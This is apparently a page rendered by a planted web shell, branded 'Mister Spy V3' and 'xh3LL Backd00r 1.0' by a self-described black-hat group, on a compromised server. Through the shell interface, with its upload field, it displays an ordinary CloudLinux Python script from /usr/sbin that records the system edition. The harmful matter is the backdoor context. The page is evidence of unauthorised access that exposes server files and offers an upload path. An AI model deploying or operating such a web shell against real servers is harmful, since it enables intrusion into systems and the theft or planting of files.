Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/sbin/
Upload File :
Current File : //usr/sbin/cl-post-jwt-update

#!/opt/cloudlinux/venv/bin/python3 -bb
import argparse
import subprocess, os


def _update_edition_user_file():
    """
    Save information about current edition in specific
    location available for users
    """
    if not os.path.exists('/usr/bin/cldetect') or not os.path.exists('/opt/cloudlinux/'):
        return

    p = subprocess.Popen(['/usr/bin/cldetect', '--detect-edition'],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = p.communicate()
    if p.returncode == 0:
        with open('/opt/cloudlinux/cl_edition.tmp', 'wb') as f:
            f.write(stdout)
        os.rename('/opt/cloudlinux/cl_edition.tmp', '/opt/cloudlinux/cl_edition')
        os.chmod('/opt/cloudlinux/cl_edition', 0o644)


def _run_edition_change_check():
    # run interactively
    subprocess.run(['cloudlinux-edition-watcher', 'check'])


def main(args):
    """
    You add your other actions here, but don't forget to handle errors.
    """
    _update_edition_user_file()
    if args.allow_transition:
        _run_edition_change_check()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()

    parser.add_argument('--allow-transition', action='store_true', default=False)

    main(args=parser.parse_args())

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat